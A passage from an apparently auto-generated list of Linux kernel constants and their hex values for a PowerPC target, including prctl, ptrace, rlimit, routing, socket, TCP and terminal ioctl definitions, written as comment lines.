-- PERF_EVENT_IOC_SET_FILTER = 0x80082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_SAO = 0x10
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETEVRREGS = 0x14
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGS64 = 0x16
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GETVRREGS = 0x12
-- PTRACE_GETVSRREGS = 0x1b
-- PTRACE_GET_DEBUGREG = 0x19
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETEVRREGS = 0x15
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGS64 = 0x17
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SETVRREGS = 0x13
-- PTRACE_SETVSRREGS = 0x1c
-- PTRACE_SET_DEBUGREG = 0x1a
-- PTRACE_SINGLEBLOCK = 0x100
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- PT_CCR = 0x26
-- PT_CTR = 0x23
-- PT_DAR = 0x29
-- PT_DSCR = 0x2c
-- PT_DSISR = 0x2a
-- PT_FPR0 = 0x30
-- PT_FPSCR = 0x50
-- PT_LNK = 0x24
-- PT_MSR = 0x21
-- PT_NIP = 0x20
-- PT_ORIG_R3 = 0x22
-- PT_R0 = 0x0
-- PT_R1 = 0x1
-- PT_R10 = 0xa
-- PT_R11 = 0xb
-- PT_R12 = 0xc
-- PT_R13 = 0xd
-- PT_R14 = 0xe
-- PT_R15 = 0xf
-- PT_R16 = 0x10
-- PT_R17 = 0x11
-- PT_R18 = 0x12
-- PT_R19 = 0x13
-- PT_R2 = 0x2
-- PT_R20 = 0x14
-- PT_R21 = 0x15
-- PT_R22 = 0x16
-- PT_R23 = 0x17
-- PT_R24 = 0x18
-- PT_R25 = 0x19
-- PT_R26 = 0x1a
-- PT_R27 = 0x1b
-- PT_R28 = 0x1c
-- PT_R29 = 0x1d
-- PT_R3 = 0x3
-- PT_R30 = 0x1e
-- PT_R31 = 0x1f
-- PT_R4 = 0x4
-- PT_R5 = 0x5
-- PT_R6 = 0x6
-- PT_R7 = 0x7
-- PT_R8 = 0x8
-- PT_R9 = 0x9
-- PT_REGS_COUNT = 0x2c
-- PT_RESULT = 0x2b
-- PT_SOFTE = 0x27
-- PT_TRAP = 0x28
-- PT_VR0 = 0x52
-- PT_VRSAVE = 0x94
-- PT_VSCR = 0x93
-- PT_VSR0 = 0x96
-- PT_VSR31 = 0xd4
-- PT_XER = 0x25
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x4004667f
-- SIOCOUTQ = 0x40047473
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x14
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x15
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x10
-- SO_RCVTIMEO = 0x12
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x11
-- SO_SNDTIMEO = 0x13
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x400
-- TAB2 = 0x800
-- TAB3 = 0xc00
-- TABDLY = 0xc00
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x2000741f
-- TCGETA = 0x40147417
-- TCGETS = 0x402c7413
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x2000741d
-- TCSBRKP = 0x5425
-- TCSETA = 0x80147418
-- TCSETAF = 0x8014741c
-- TCSETAW = 0x80147419
-- TCSETS = 0x802c7414
-- TCSETSF = 0x802c7416
-- TCSETSW = 0x802c7415
-- TCXONC = 0x2000741e
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x40045432
-- TIOCGETC = 0x40067412
-- TIOCGETD = 0x5424
-- TIOCGETP = 0x40067408
-- TIOCGEXCL = 0x40045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGLTC = 0x40067474
-- TIOCGPGRP = 0x40047477
-- TIOCGPKT = 0x40045438
-- TIOCGPTLCK = 0x40045439
-- TIOCGPTN = 0x40045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x40087468
-- TIOCINQ = 0x4004667f
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_LOOP = 0x8000
-- TIOCM_OUT1 = 0x2000
-- TIOCM_OUT2 = 0x4000
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x40047473
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETC = 0x80067411
-- TIOCSETD = 0x5423
-- TIOCSETN = 0x8006740a
-- TIOCSETP = 0x80067409
-- TIOCSIG = 0x80045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSLTC = 0x80067475
-- TIOCSPGRP = 0x80047476
-- TIOCSPTLCK = 0x80045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTART = 0x2000746e
-- TIOCSTI = 0x5412
-- TIOCSTOP = 0x2000746f
-- TIOCSWINSZ = 0x80087467
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x400000
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x801054d5
